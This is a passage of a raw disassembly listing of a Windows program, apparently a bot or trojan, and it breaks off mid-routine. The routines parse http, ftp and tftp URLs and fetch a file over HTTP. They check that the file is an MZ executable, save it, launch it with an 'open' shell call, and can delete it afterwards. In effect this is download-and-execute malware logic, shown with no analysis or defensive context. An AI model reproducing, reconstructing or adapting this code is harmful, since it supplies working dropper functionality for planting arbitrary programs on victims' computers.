loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DE00
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax


loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1


loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax


loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DE00


loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax


loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DE0C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DE08, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: sub_40332B+51j
